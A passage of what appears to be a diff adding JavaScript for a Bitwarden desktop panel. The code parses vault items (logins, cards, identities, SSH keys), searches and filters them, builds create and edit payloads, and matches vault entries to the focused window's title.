uris.push(String(rawUris[i].uri)) + } + return uris +} + +function cardDetail(card) { + if (!card) return null + return { + cardholderName: String(card.cardholderName || ""), + brand: String(card.brand || ""), + number: String(card.number || ""), + expMonth: String(card.expMonth || ""), + expYear: String(card.expYear || ""), + code: String(card.code || "") + } +} + +function identityDetail(identity) { + if (!identity) return null + return { + title: String(identity.title || ""), + firstName: String(identity.firstName || ""), + middleName: String(identity.middleName || ""), + lastName: String(identity.lastName || ""), + username: String(identity.username || ""), + company: String(identity.company || ""), + email: String(identity.email || ""), + phone: String(identity.phone || ""), + ssn: String(identity.ssn || ""), + passportNumber: String(identity.passportNumber || ""), + licenseNumber: String(identity.licenseNumber || ""), + address1: String(identity.address1 || ""), + address2: String(identity.address2 || ""), + address3: String(identity.address3 || ""), + city: String(identity.city || ""), + state: String(identity.state || ""), + postalCode: String(identity.postalCode || ""), + country: String(identity.country || "") + } +} + +// First, middle and last, with the gaps closed. An identity that carries only +// a surname should read as that surname, not as two spaces and a surname. +function identityFullName(identity) { + if (!identity) return "" + return [identity.title, identity.firstName, identity.middleName, identity.lastName] + .map(function(part) { return String(part || "").trim() }) + .filter(function(part) { return part !== "" }) + .join(" ") +} + +function itemCustomFields(fields) { + var customFields = [] + var rawFields = toList(fields) + for (var i = 0; i < rawFields.length; i++) { + var field = rawFields[i] + if (!field || !field.name) continue + customFields.push({ + name: String(field.name || ""), + value: String(field.value || ""), + type: Number(field.type || 0) // 0: text, 1: hidden, 2: boolean, 3: linked + }) + } + return customFields +} + +function parseItems(raw) { + var arr = parseJsonArray(raw) + var out = [] + for (var i = 0; i < arr.length; i++) { + var it = arr[i] + if (!it || typeof it !== "object") continue + + var login = it.login || {} + var uris = loginUris(login) + var attachments = parseAttachments(it.attachments) + + var card = it.card || null + var cardSubtitle = "" + if (card) { + var num = String(card.number || "") + var last4 = num.length >= 4 ? num.slice(-4) : num + cardSubtitle = (card.brand ? card.brand + " " : "") + (last4 ? "•••• " + last4 : "") + } + + var identity = it.identity || null + var identitySubtitle = "" + if (identity) { + identitySubtitle = identityFullName(identity) || String(identity.email || "") + } + + var subtitle = "" + if (login.username) { + subtitle = String(login.username) + } else if (uris.length > 0) { + subtitle = uris[0].replace(/^https?:\/\//, "").replace(/\/.*$/, "") + } else if (cardSubtitle) { + subtitle = cardSubtitle + } else if (identitySubtitle) { + subtitle = identitySubtitle + } else if (it.type === 2) { + subtitle = "Secure Note" + } + + out.push({ + id: String(it.id || ""), + organizationId: it.organizationId ? String(it.organizationId) : null, + folderId: it.folderId ? String(it.folderId) : null, + name: String(it.name || "Untitled"), + type: itemTypeName(it.type), + typeCode: Number(it.type || 1), + favorite: Boolean(it.favorite), + username: String(login.username || ""), + password: String(login.password || ""), + hasPassword: Boolean(login.password), + hasTotp: Boolean(login.totp), + totpKey: String(login.totp || ""), + uris: uris, + attachments: attachments, + hasAttachments: attachments.length > 0, + subtitle: subtitle, + // The list row carries these so search can match a card by its brand or + // last four and an identity by name or email -- the same things the + // subtitle now shows. Without them the row displays a value the search + // box cannot find. + card: cardDetail(it.card), + identity: identityDetail(it.identity), + notes: String(it.notes || ""), + rawObject: it + }) + } + + // Sort by favorite first, then alphabetically by name + out.sort(function(a, b) { + if (a.favorite !== b.favorite) { + return a.favorite ? -1 : 1 + } + return compareNames(a, b) + }) + + return out +} + +function parseSshKeys(keys) { + var arr = Array.isArray(keys) ? keys : [] + var out = [] + for (var i = 0; i < arr.length; i++) { + var it = arr[i] + if (!it || typeof it !== "object" || !it.id) continue + var key = it.sshKey || {} + var publicKey = String(key.publicKey || it.publicKey || "") + var fingerprint = String(key.fingerprint || key.keyFingerprint || it.fingerprint || it.keyFingerprint || "") + var raw = { + id: String(it.id), name: String(it.name || "Untitled"), type: 5, + organizationId: it.organizationId ? String(it.organizationId) : null, + folderId: it.folderId ? String(it.folderId) : null, + favorite: Boolean(it.favorite), reprompt: Number(it.reprompt || 0), + sshKey: { publicKey: publicKey, fingerprint: fingerprint } + } + out.push({ id: String(it.id), organizationId: raw.organizationId, folderId: raw.folderId, + name: raw.name, type: "sshKey", typeCode: 5, favorite: raw.favorite, + username: "", password: "", hasPassword: false, hasTotp: false, totpKey: "", + uris: [], attachments: [], hasAttachments: false, + subtitle: fingerprint || publicKey || "SSH Key", notes: "", + publicKey: publicKey, fingerprint: fingerprint, rawObject: raw }) + } + out.sort(function(a, b) { if (a.favorite !== b.favorite) return a.favorite ? -1 : 1; return compareNames(a, b) }) + return out +} + +function parseSanitizedEnvelope(raw) { + var envelope = null + try { envelope = JSON.parse(raw) } catch (e) { return null } + if (!envelope || typeof envelope !== "object" || !Array.isArray(envelope.items) || !Array.isArray(envelope.sshKeys)) return null + // The capability flag is derived from the key list, so the envelope is read + // without it. A flag that contradicts the list means the document was not + // produced by this filter, and the whole read fails closed. + var expectedCapability = envelope.sshKeys.length > 0 ? "confirmed" : "unconfirmed" + if (envelope.sshCapability !== undefined && envelope.sshCapability !== expectedCapability) return null + var sshKeys = parseSshKeys(envelope.sshKeys) + var items = parseItems(JSON.stringify(envelope.items)).concat(sshKeys) + items.sort(function(a, b) { if (a.favorite !== b.favorite) return a.favorite ? -1 : 1; return compareNames(a, b) }) + return { + items: items, + sshKeys: sshKeys, + sshCapability: expectedCapability + } +} + +// One item's worth of list state, from the envelope a save now returns. +// +// The saved cipher is authoritative -- the server assigns the id on a create +// and normalises fields on both paths -- so this replaces by id when the item +// is already known and inserts when it is not. Sorting is the list's own +// comparator rather than a second copy of it, which is what makes a rename, a +// favourite toggle or a folder move land in the right place without a reload. +// +// Returns null when the envelope is not one this filter produced, and the +// caller reloads instead. Nothing here is a fallback worth improvising on: an +// item list that quietly disagrees with the vault is worse than a slow one. +// The row to show while a save is in flight. +// +// Built from the payload on its way to `bw`, through the same parser the real +// list uses, so an optimistic row and the row that replaces it are the same +// shape and cannot disagree about how a card is subtitled or whether an item +// has a password. It is the user's own input rendered back; the authoritative +// version arrives a second or two later and replaces it. +// +// A create has no id yet -- the server assigns one -- so it carries a +// provisional one that the save's response swaps out. The prefix is what +// distinguishes it, and it cannot collide with a vault id because Bitwarden's +// are UUIDs. +var PENDING_ID_PREFIX = "qsbw-pending:" + +function pendingItemId(seed) { return PENDING_ID_PREFIX + String(seed) } +function isPendingItemId(id) { return String(id || "").indexOf(PENDING_ID_PREFIX) === 0 } + +function findItemById(items, id) { + var existing = toList(items) + for (var i = 0; i < existing.length; i++) { + if (existing[i] && existing[i].id === id) return existing[i] + } + return null +} + +function optimisticItem(payload, itemId) { + if (!payload) return null + var draft = JSON.parse(JSON.stringify(payload)) + draft.id = String(itemId || "") + draft.object = "item" + var parsed = parseItems(JSON.stringify([draft])) + if (parsed.length !== 1) return null + parsed[0].pending = true + return parsed[0] +} + +// Replace-or-insert by id, then sort -- the same operation spliceSavedItem +// performs, without the envelope. Used to put an optimistic row in and to take +// it back out again when a save fails. +function replaceItemById(items, id, replacement) { + var out = [] + var existing = toList(items) + var replaced = false + for (var i = 0; i < existing.length; i++) { + if (existing[i] && existing[i].id === id) { + if (replacement) out.push(replacement) + replaced = true + } else { + out.push(existing[i]) + } + } + if (!replaced && replacement) out.push(replacement) + out.sort(function(a, b) { if (a.favorite !== b.favorite) return a.favorite ? -1 : 1; return compareNames(a, b) }) + return out +} + +function savedUnsanitizedMarker() { return SAVED_UNSANITIZED_MARKER } + +function spliceSavedItem(items, raw, replacingId) { + var envelope = parseSanitizedEnvelope(raw) + if (!envelope) return null + var saved = envelope.items.concat(envelope.sshKeys) + if (saved.length !== 1) return null + var one = saved[0] + if (!one || !one.id) return null + + // On a create the row in the list is the provisional one, whose id the + // server has just replaced; `replacingId` is how the two are matched up. + var target = replacingId ? String(replacingId) : one.id + var out = [] + var replaced = false + var existing = toList(items) + for (var i = 0; i < existing.length; i++) { + if (existing[i] && existing[i].id === target) { + out.push(one) + replaced = true + } else { + out.push(existing[i]) + } + } + if (!replaced) out.push(one) + out.sort(function(a, b) { if (a.favorite !== b.favorite) return a.favorite ? -1 : 1; return compareNames(a, b) }) + return out +} + +function parseSanitizedItems(raw) { + var envelope = parseSanitizedEnvelope(raw) + return envelope ? envelope.items : [] +} + +function parseSanitizedCapability(raw) { + var envelope = parseSanitizedEnvelope(raw) + return envelope ? envelope.sshCapability : "unconfirmed" +} + +function parseItemDetail(raw) { + var it = null + try { + it = JSON.parse(raw) + } catch (e) { + return null + } + return itemDetailFromObject(it) +} + +// `bw list items` already returns complete cipher objects -- password, TOTP +// key, card, identity and custom fields included -- and parseItems keeps each +// one as `rawObject`. So opening an item needs no second trip to the CLI: the +// detail view is built from what the list already fetched, which is the +// difference between a spinner and an instant open. `bw get item` costs a full +// CLI bootstrap (~0.9s) plus service init (~2s) before it decrypts anything. +function itemDetailFromObject(it) { + if (!it || typeof it !== "object") return null + + if (Number(it.type) === 5) { + var sshKey = it.sshKey || {} + return { id: String(it.id || ""), organizationId: it.organizationId ? String(it.organizationId) : null, + folderId: it.folderId ? String(it.folderId) : null, name: String(it.name || "Untitled"), + type: "sshKey", typeCode: 5, favorite: Boolean(it.favorite), notes: "", + username: "", password: "", hasTotp: false, totpKey: "", uris: [], attachments: [], + hasAttachments: false, card: null, identity: null, fields: [], + publicKey: String(sshKey.publicKey || it.publicKey || ""), + fingerprint: String(sshKey.fingerprint || sshKey.keyFingerprint || it.fingerprint || it.keyFingerprint || ""), rawObject: it } + } + + var login = it.login || {} + var uris = loginUris(login) + var attachments = parseAttachments(it.attachments) + + return { + id: String(it.id || ""), + organizationId: it.organizationId ? String(it.organizationId) : null, + folderId: it.folderId ? String(it.folderId) : null, + name: String(it.name || "Untitled"), + type: itemTypeName(it.type), + typeCode: Number(it.type || 1), + favorite: Boolean(it.favorite), + notes: String(it.notes || ""), + username: String(login.username || ""), + password: String(login.password || ""), + hasTotp: Boolean(login.totp), + totpKey: String(login.totp || ""), + uris: uris, + attachments: attachments, + hasAttachments: attachments.length > 0, + card: cardDetail(it.card), + identity: identityDetail(it.identity), + fields: itemCustomFields(it.fields), + rawObject: it + } +} + +// ------------------------------------------------------------------------- +// Filtering & Searching +// ------------------------------------------------------------------------- + +function matchesQuery(item, query) { + if (!query) return true + var q = String(query).toLowerCase().trim() + if (!q) return true + + if (String(item.name).toLowerCase().indexOf(q) !== -1) return true + if (String(item.username).toLowerCase().indexOf(q) !== -1) return true + if (String(item.notes).toLowerCase().indexOf(q) !== -1) return true + if (String(item.publicKey || "").toLowerCase().indexOf(q) !== -1) return true + if (String(item.fingerprint || "").toLowerCase().indexOf(q) !== -1) return true + + // A card row shows its brand and last four; an identity row shows a name or + // an email. Anything the list is willing to display, the search box has to + // be able to find -- otherwise the one visible handle on a card is the one + // thing you cannot type. Never the full number: a substring search over + // stored card numbers is a lookup nobody asked this box to perform. + if (item.card) { + if (String(item.card.brand || "").toLowerCase().indexOf(q) !== -1) return true + if (String(item.card.cardholderName || "").toLowerCase().indexOf(q) !== -1) return true + var digits = String(item.card.number || "").replace(/\D/g, "") + if (digits.length >= 4 && digits.slice(-4).indexOf(q.replace(/\D/g, "")) !== -1 + && q.replace(/\D/g, "") !== "") return true + } + if (item.identity) { + if (identityFullName(item.identity).toLowerCase().indexOf(q) !== -1) return true + if (String(item.identity.email || "").toLowerCase().indexOf(q) !== -1) return true + if (String(item.identity.username || "").toLowerCase().indexOf(q) !== -1) return true + if (String(item.identity.company || "").toLowerCase().indexOf(q) !== -1) return true + } + + // toList, not Array.isArray: this item came back out of a QML `var` + // property, and the array nested inside it did not survive that trip as one. + // The check that reads right is the check that quietly turned URL search off + // in the panel while every test here went on passing. + var uris = toList(item.uris) + for (var i = 0; i < uris.length; i++) { + if (String(uris[i]).toLowerCase().indexOf(q) !== -1) return true + } + return false +} + +function matchesOrganizationFilter(item, organization) { + if (organization === "personal") return !item.organizationId + return organization === "all" || item.organizationId === organization +} + +function matchesFolderFilter(item, folder) { + if (folder === "none") return !item.folderId + return folder === "all" || item.folderId === folder +} + +function matchesCategoryFilter(item, category) { + if (category === "favorite") return Boolean(item.favorite) + return category === "all" || String(item.type || "").toLowerCase() === String(category || "").toLowerCase() +} + +function filterItems(items, query, category, selectedOrg, selectedFolder) { + if (!Array.isArray(items)) return [] + var q = String(query || "").toLowerCase().trim() + var cat = String(category || "all").toLowerCase() + var org = String(selectedOrg || "all") + var folder = String(selectedFolder || "all") + + var out = [] + for (var i = 0; i < items.length; i++) { + var it = items[i] + if (!matchesOrganizationFilter(it, org)) continue + if (!matchesFolderFilter(it, folder)) continue + if (!matchesCategoryFilter(it, cat)) continue + if (q && !matchesQuery(it, q)) continue + out.push(it) + } + return out +} + +// Returns "" when the form is savable, or the reason it is not. +function validateItemForm(name, organizationId, collectionIds) { + if (!String(name || "").trim()) return "Item title is required" + var isOrg = organizationId && organizationId !== "personal" && organizationId !== "all" + if (isOrg && (!Array.isArray(collectionIds) || collectionIds.length === 0)) { + return "Pick at least one collection for an organization item" + } + return "" +} + +function maskString(str) { + if (!str) return "" + return "•".repeat(Math.min(str.length, 16)) +} + +// There is deliberately no local password generator here. QML's Math.random() +// is not a CSPRNG -- it is seeded predictably and its output can be recovered +// from a handful of samples -- which makes it unfit to produce a password that +// will guard an account. The only generator is generateCommand() further down, +// which delegates to `bw generate`, and the item form reaches it by way of the +// generator screen. See openGenerator() in Panel.qml. + +// ------------------------------------------------------------------------- +// Payload Builders for Create & Edit +// ------------------------------------------------------------------------- + +function selectedOrganizationId(organizationId) { + if (!organizationId || organizationId === "personal" || organizationId === "all") return null + return String(organizationId) +} + +function selectedFolderId(folderId) { + if (!folderId || folderId === "all" || folderId === "none") return null + return String(folderId) +} + +function selectedCollectionIds(collectionIds) { + if (!Array.isArray(collectionIds) || collectionIds.length === 0) return null + return collectionIds.slice() +} + +function updateLoginFields(login, username, password, totp) { + login.username = String(username || "").trim() + login.password = String(password || "").trim() + login.totp = totp && totp.trim() ? totp.trim() : null +} + +// Create and edit write these through the same pair, so a field the form can +// set is a field both paths set the same way. `fields` is whatever the form +// collected; anything absent from it is written as an empty string rather +// than left undefined, because `bw edit` treats a missing key and an empty +// one differently and the form's cleared box means cleared. +function updateCardFields(card, fields) { + var f = fields || {} + card.cardholderName = String(f.cardholderName || "").trim() + card.brand = String(f.brand || "").trim() + card.number = String(f.number || "").trim() + card.expMonth = String(f.expMonth || "").trim() + card.expYear = String(f.expYear || "").trim() + card.code = String(f.code || "").trim() +} + +function updateIdentityFields(identity, fields) { + var f = fields || {} + var keys = ["title", "firstName", "middleName", "lastName", "username", + "company", "email", "phone", "ssn", "passportNumber", + "licenseNumber", "address1", "address2", "address3", + "city", "state", "postalCode", "country"] + for (var i = 0; i < keys.length; i++) { + identity[keys[i]] = String(f[keys[i]] || "").trim() + } +} + +// `typeFields` carries the card or identity boxes. It is a trailing object +// rather than twenty-four more positional arguments: a card needs six and an +// identity eighteen, and a call site that long is one transposed pair away +// from writing an expiry year into a security code. +function buildCreatePayload(typeCode, name, username, password, totp, uri, notes, favorite, organizationId, folderId, collectionIds, typeFields) { + if (Number(typeCode) === 5) return null + var payload = { + type: Number(typeCode || 1), + name: String(name || "Untitled").trim(), + notes: String(notes || "").trim(), + favorite: Boolean(favorite), + organizationId: selectedOrganizationId(organizationId), + folderId: selectedFolderId(folderId) + } + + // Only org-owned items carry collections, and such an item must be in at + // least one -- Bitwarden rejects it otherwise. Omit the key entirely when + // none were chosen rather than sending an empty array, which would change + // what existing callers send. + var collections = selectedCollectionIds(collectionIds) + if (payload.organizationId && collections) payload.collectionIds = collections + + if (Number(typeCode) === 1) { // Login + var login = {} + updateLoginFields(login, username, password, totp) + login.uris = uri && uri.trim() ? [{ match: null, uri: uri.trim() }] : [] + payload.login = login + } else if (Number(typeCode) === 2) { // Secure Note + payload.secureNote = { type: 0 } + } else if (Number(typeCode) === 3) { // Card + payload.card = {} + updateCardFields(payload.card, typeFields) + } else if (Number(typeCode) === 4) { // Identity + payload.identity = {} + updateIdentityFields(payload.identity, typeFields) + } + + return payload +} + +function buildEditPayload(existingItem, name, username, password, totp, uri, notes, favorite, organizationId, folderId, collectionIds, typeFields) { + if (existingItem && (Number(existingItem.typeCode || existingItem.type) === 5 + || (existingItem.rawObject && Number(existingItem.rawObject.type) === 5))) return null + var payload = existingItem && existingItem.rawObject ? JSON.parse(JSON.stringify(existingItem.rawObject)) : {} + payload.name = String(name || "Untitled").trim() + payload.notes = String(notes || "").trim() + payload.favorite = Boolean(favorite) + // Set *and* clear. Only assigning meant picking "My Vault" for an item that + // belonged to an organization left it in the organization, so the form said + // one thing and the vault kept another. + payload.organizationId = selectedOrganizationId(organizationId) + // An explicit empty selection means "no folder", so this must be able to + // clear an existing assignment, not only set one. + payload.folderId = selectedFolderId(folderId) + + if (payload.organizationId) { + payload.collectionIds = selectedCollectionIds(collectionIds) || payload.collectionIds || [] + } else { + delete payload.collectionIds + } + + // The payload started as a deep clone of the item as the vault holds it, so + // every sub-object the form does not expose is already correct. Each branch + // writes only its own type's fields; nothing here deletes another type's, + // because an item that arrived as a card leaves as a card. + // + // The `&& typeFields` is load-bearing. The writers set every key they know, + // so calling one with nothing to write blanks the lot -- an edit that only + // meant to rename a card would return it to the vault with its number, + // expiry and security code erased. A caller with no type fields to offer is + // saying "leave that sub-object alone", and the clone already has it right. + if (payload.type === 1 || !payload.type) { + if (!payload.login) payload.login = {} + updateLoginFields(payload.login, username, password, totp) + if (uri && uri.trim()) { + payload.login.uris = [{ match: null, uri: uri.trim() }] + } + } else if (payload.type === 3 && typeFields) { + if (!payload.card) payload.card = {} + updateCardFields(payload.card, typeFields) + } else if (payload.type === 4 && typeFields) { + if (!payload.identity) payload.identity = {} + updateIdentityFields(payload.identity, typeFields) + } + + return payload +} + +// ------------------------------------------------------------------------- +// Context-Aware Window & Active Tab Matching +// ------------------------------------------------------------------------- +// +// Hyprland exposes only the window class and title -- browsers do not publish +// the active tab URL over any interface we can read, so the page title is the +// only signal available. Everything below is built to squeeze a reliable +// domain/brand out of a title while refusing to guess when the title says +// nothing useful. + +// Labels that carry no identity. Never matched against a page title, and +// dropped when tokenising titles and item names. +var GENERIC_LABELS = { + "www": 1, "www2": 1, "web": 1, "app": 1, "apps": 1, "mobile": 1, "my": 1, + "secure": 1, "login": 1, "signin": 1, "sign": 1, "logon": 1, "auth": 1, + "oauth": 1, "sso": 1, "idp": 1, "account": 1, "accounts": 1, "portal": 1, + "admin": 1, "dash": 1, "dashboard": 1, "console": 1, "home": 1, "welcome": 1, + "overview": 1, "page": 1, "site": 1, "online": 1, "cloud": 1, "server": 1, + "service": 1, "services": 1, "api": 1, "cdn": 1, "static": 1, "assets": 1, + "local": 1, "localhost": 1, "localdomain": 1, "internal": 1, "intranet": 1, + "lan": 1, "dev": 1, "test": 1, "staging": 1, "prod": 1, "the": 1, "and": 1, + "for": 1, "with": 1, "your": 1, "new": 1, "inbox": 1, "settings": 1 +} + +// Public suffixes we accept as the tail of a hostname. Deliberately a closed +// list: it is what stops "config.json" or "v1.2" from being read as a domain. +var TLDS = { + "com": 1, "org": 1, "net": 1, "edu": 1, "gov": 1, "mil": 1, "int": 1, + "io": 1, "co": 1, "ai": 1, "app": 1, "dev": 1, "me": 1, "tv": 1, "cc": 1, + "info": 1, "biz": 1, "name": 1, "pro": 1, "xyz": 1, "online": 1, "site": 1, + "shop": 1, "store": 1, "tech": 1, "cloud": 1, "page": 1, "blog": 1, "wiki": 1, + "news": 1, "media": 1, "email": 1, "chat": 1, "social": 1, "games": 1, + "software": 1, "systems": 1, "network": 1, "digital": 1, "finance": 1, + "bank": 1, "money": 1, "health": 1, "life": 1, "world": 1, "space": 1, + "link": 1, "click": 1, "one": 1, "run": 1, "sh": 1, "gg": 1, "fm": 1, + "to": 1, "ly": 1, "us": 1, "uk": 1, "ca": 1, "au": 1, "nz": 1, "de": 1, + "fr": 1, "es": 1, "it": 1, "nl": 1, "be": 1, "ch": 1, "at": 1, "se": 1, + "no": 1, "dk": 1, "fi": 1, "pl": 1, "cz": 1, "pt": 1, "ie": 1, "gr": 1, + "ru": 1, "ua": 1, "tr": 1, "il": 1, "in": 1, "jp": 1, "cn": 1, "kr": 1, + "hk": 1, "tw": 1, "sg": 1, "my": 1, "id": 1, "th": 1, "vn": 1, "ph": 1, + "br": 1, "mx": 1, "ar": 1, "cl": 1, "za": 1, "eu": 1, + // Non-public suffixes that still appear on self-hosted LAN services. + "local": 1, "lan": 1, "home": 1, "internal": 1, "arpa": 1, "localdomain": 1 +} + +// Second-level suffixes: only ever treated as part of the suffix when a third +// label follows (bbc.co.uk -> bbc, but co.uk alone stays as-is). +var MULTI_SLD = { "co": 1, "com": 1, "net": 1, "org": 1, "ac": 1, "gov": 1, "edu": 1, "or": 1, "ne": 1 } + +// Brands whose sites are commonly titled with a different word than the domain +// that ends up on the vault item. Conservative on purpose -- each entry maps a +// title word to the registrable name it should also count as. +var BRAND_ALIASES = { + "gmail": "google", "googlemail": "google", "youtube": "google", + "hotmail": "microsoft", "outlook": "microsoft", "live": "microsoft", + "onedrive": "microsoft", "office": "microsoft", "microsoft365": "microsoft", + "icloud": "apple", "appleid": "apple", + "fb": "facebook", "messenger": "facebook", "instagram": "facebook" +} + +var BROWSER_CLASS_RE = /chrome|chromium|firefox|brave|zen|vivaldi|edge|opera|epiphany|qutebrowser|librewolf|floorp|waterfox|thorium|helium/i +var TERMINAL_CLASS_RE = /foot|alacritty|kitty|ghostty|terminal|konsole|wezterm|xterm|rxvt|tilix|st-256color/i +var SHELL_CLASS_RE = /^(quickshell|omarchy|omarchy-shell|omarchy-menu)$/i +var REMOTE_SESSION_RE = /(?:^|\s)(?:ssh|mosh|sftp)\s+(?:-\S+\s+)*(?:[a-zA-Z0-9_.-]+@)?([a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)+)/i + +var BROWSER_BRAND_RE = /\s*[-—–|·•]\s*(Google Chrome|Chromium|Mozilla Firefox|Firefox Developer Edition|Firefox|Brave(?:\s*Browser)?|Zen(?:\s*Browser)?|Vivaldi|Microsoft.​Edge|Microsoft Edge|Edge|Opera(?:\s*GX)?|LibreWolf|Floorp|Waterfox|Thorium|Helium|Epiphany|GNOME Web|qutebrowser)\s*$/i + +var TITLE_SEPARATOR_RE = /\s*[|·•—–]\s*|\s+[-]\s+|\s*::\s*/ + +// How much of a window title is ever looked at. A page writes its own title +// and nothing obliges it to be short, while every part of the match runs over +// the whole of it once per vault item -- so a title long enough is a vault +// large enough away from a visible freeze of the shell. Nothing past a couple +// of hundred characters identifies a site anyway; the rest is prose. +var MAX_TITLE_CHARS = 512 + +// Strip anything that is chrome rather than content: unread counters, media +// indicators, private-window markers, and leading sign-in verbs. +function stripTitleNoise(title) { + var t = String(title || "").trim() + t = t.replace(BROWSER_BRAND_RE, "").trim() + t = t.replace(/\s*[-—–|]?\s*\((?:Private Browsing|Incognito|Private)\)\s*$/i, "").trim() + t = t.replace(/\s*[-—–|]\s*(?:Audio playing|Muted|Playing|Paused)\s*$/i, "").trim() + t = t.replace(/^[\s]*[\(\[]\s*\d+\+?\s*[\)\]]\s*/, "").trim() + t = t.replace(/^\s*\d+\s*[-—–|·]\s*/, "").trim() + t = t.replace(/^(?:Sign in to|Sign into|Sign in|Sign In|Log in to|Log into|Log in|Login to|Login|Welcome to|Welcome back to|Welcome|Authenticate to|Authenticate)\b[\s:·—–|-]*/i, "").trim() + t = t.replace(/^[\s:·—–|-]+/, "").replace(/[\s:·—–|-]+$/, "").trim() + return t +} + +// Collapse to bare alphanumerics so "Home Assistant" and "homeassistant" compare equal. +function squash(str) { + return String(str || "").toLowerCase().replace(/[^a-z0-9]/g, "") +} + +function splitSegments(title) { + var raw = String(title || "").split(TITLE_SEPARATOR_RE) + var out = [] + for (var i = 0; i < raw.length; i++) { + var s = raw[i].trim() + if (s) out.push(s) + } + return out +} + +function extractTokens(str) { + if (!str) return [] + var clean = String(str).toLowerCase().replace(/[^a-z0-9]+/g, " ") + var words = clean.split(/\s+/) + var tokens = [] + var seen = {} + for (var i = 0; i < words.length; i++) { + var w = words[i].trim() + if (w.length < 3) continue + if (GENERIC_LABELS[w] || TLDS[w]) continue + if (/^\d+$/.test(w)) continue + if (seen[w]) continue + seen[w] = 1 + tokens.push(w) + } + return tokens +} + +// The registrable names a title implies purely through a brand alias, e.g. a +// "Gmail" title implies "google". Kept separate from the literal title tokens: +// only an alias may stand in for a domain the title never actually spelled. +function aliasesFor(tokens) { + var out = [] + var seen = {} + for (var i = 0; i < tokens.length; i++) { + var alias = BRAND_ALIASES[tokens[i]] + if (alias && tokens.indexOf(alias) === -1 && !seen[alias]) { + seen[alias] = 1 + out.push(alias) + } + } + return out +} + +function isIpAddress(host) { + return /^\d{1,3}(?:\.\d{1,3}){3}$/.test(host) +} + +// Split a hostname into { host, baseDomain, rootName }. rootName is the +// registrable label -- the only part ever compared against a page title. +function parseHost(host) { + var h = String(host || "").toLowerCase().replace(/:\d+$/, "").replace(/\.$/, "") + if (!h) return null + + if (isIpAddress(h)) { + return { host: h, baseDomain: h, rootName: null, isIp: true } + } + + var parts = h.split(".") + if (parts.length === 1) { + return { host: h, baseDomain: h, rootName: parts[0], isIp: false } + } + + var suffixCount = 1 + if (parts.length >= 3 && MULTI_SLD[parts[parts.length - 2]]) { + suffixCount = 2 + } + var rootIdx = parts.length - suffixCount - 1 + if (rootIdx < 0) rootIdx = 0 + + return { + host: h, + baseDomain: parts.slice(rootIdx).join("."), + rootName: parts[rootIdx], + isIp: false + } +} + +function parseDomain(urlStr) { + if (!urlStr) return null + var clean = String(urlStr).trim().toLowerCase() + var match = clean.match(/^(?:[a-z][a-z0-9+.-]*:\/\/)?(?:[^\/@\s]+@)?([a-z0-9._-]+(?::\d+)?)/i) + if (!match) return null + return parseHost(match[1]) +} + +// Pull a hostname out of free text (a page title). Requires a known public +// suffix so version numbers and filenames are not mistaken for domains. +// +// Scanned by splitting rather than by one pass of a host-shaped regex, because +// that regex was quadratic on exactly the input this function exists to read. +// `[a-z0-9-]+(?:\.[a-z0-9-]+)+` against a long run of letters with no dot in +// it makes the engine swallow the whole run, discover the dot is missing, give +// a character back, fail again, and so on to the end of the run -- and then do +// it all over from the next offset. A page decides its own title, so a title of +// 60 kB of one word is a page's to send, and it cost ~2.5 s of the GUI thread +// per scan: the whole shell, bar included, frozen every time the panel opened +// over that tab. Splitting on the characters a host cannot contain and then +// walking the labels between the dots reads the same hosts out in the same +// order, in one linear pass. +function detectDomainInText(text) { + var s = String(text || "").toLowerCase() + var runs = s.split(/[^a-z0-9.\-]+/) + for (var r = 0; r < runs.length; r++) { + var labels = runs[r].split(".") + var group = [] + // One past the end, so a group that reaches the end of the run is closed + // by the same branch that closes one interrupted by an empty label. + for (var i = 0; i <= labels.length; i++) { + if (i < labels.length && labels[i]) { + group.push(labels[i]) + continue + } + if (group.length >= 2) { + var host = group.join(".") + var tld = group[group.length - 1] + group = [] + if (!TLDS[tld]) continue + var parsed = parseHost(host) + if (!parsed || !parsed.rootName) continue + if (parsed.rootName.length < 2) continue + if (GENERIC_LABELS[parsed.rootName]) continue + return parsed + } + group = [] + } + } + return null +} + +function itemDomains(item) { + var out = [] + if (!item) return out + // Same round trip, same reason as matchesQuery: an Array.isArray here is a + // domain match that works in Node and never fires in the panel. + var uris = toList(item.uris) + for (var i = 0; i < uris.length; i++) { + var d = parseDomain(uris[i]) + if (d) out.push(d) + } + return out +} + +function hasWholeWord(haystack, word) { + if (!haystack || !word) return false + var escaped = String(word).replace(/[.*+?^${}()|[\]\\-]/g, "\\$&") + return new RegExp("(?:^|[^a-z0-9])" + escaped + "(?:$|[^a-z0-9])", "i").test(haystack) +} + +// ------------------------------------------------------------------------- + +function getActiveWindowFromData(windowData) { + if (!windowData) return null + + if (Array.isArray(windowData)) { + // hyprctl clients -j: focusHistoryID 0 is the most recently focused window. + var clients = windowData.slice().filter(function(c) { + return c && c.mapped !== false && String(c.class || c.initialClass || "").trim() !== "" + }) + clients.sort(function(a, b) { + return (a.focusHistoryID === undefined ? 999 : a.focusHistoryID) - (b.focusHistoryID === undefined ? 999 : b.focusHistoryID) + }) + for (var i = 0; i < clients.length; i++) { + if (!SHELL_CLASS_RE.test(String(clients[i].class || clients[i].initialClass || ""))) { + return clients[i] + } + } + return clients[0] || null + } + + if (!windowData.class && !windowData.initialClass && !windowData.title) return null + if (SHELL_CLASS_RE.test(String(windowData.class || windowData.initialClass || ""))) return null + return windowData +} + +function windowIdentity(cls, title) { + var isBrowser = BROWSER_CLASS_RE.test(cls) + var isTerminal = TERMINAL_CLASS_RE.test(cls) + + if (isBrowser) { + var browserTitle = stripTitleNoise(title) + var browserDomain = detectDomainInText(browserTitle) + return { + cleanTitle: browserTitle, + detectedDomain: browserDomain, + displayName: browserDomain ? browserDomain.baseDomain : browserTitle, + isBrowser: isBrowser, + isTerminal: isTerminal + } + } + + if (isTerminal) { + // Only remote sessions are worth suggesting for; a local shell title + // ("hostname: ~/dir") describes the machine, not a credential. + var remoteSession = title.match(REMOTE_SESSION_RE) + if (!remoteSession) return null + return { + cleanTitle: remoteSession[1], + detectedDomain: parseHost(remoteSession[1]), + displayName: "SSH: " + remoteSession[1], + isBrowser: isBrowser, + isTerminal: isTerminal + } + } + + // Native desktop app: the leading segment is the app, the rest is document state. + var segments = splitSegments(stripTitleNoise(title)) + var appTitle = segments.length > 0 ? segments[0] : "" + return { + cleanTitle: appTitle, + detectedDomain: null, + displayName: appTitle || cls, + isBrowser: isBrowser, + isTerminal: isTerminal + } +} + +function cleanWindowContext(windowData) { + var w = getActiveWindowFromData(windowData) + if (!w) return null + + var cls = String(w.class || w.initialClass || "").toLowerCase().trim().slice(0, MAX_TITLE_CHARS) + var title = String(w.title || 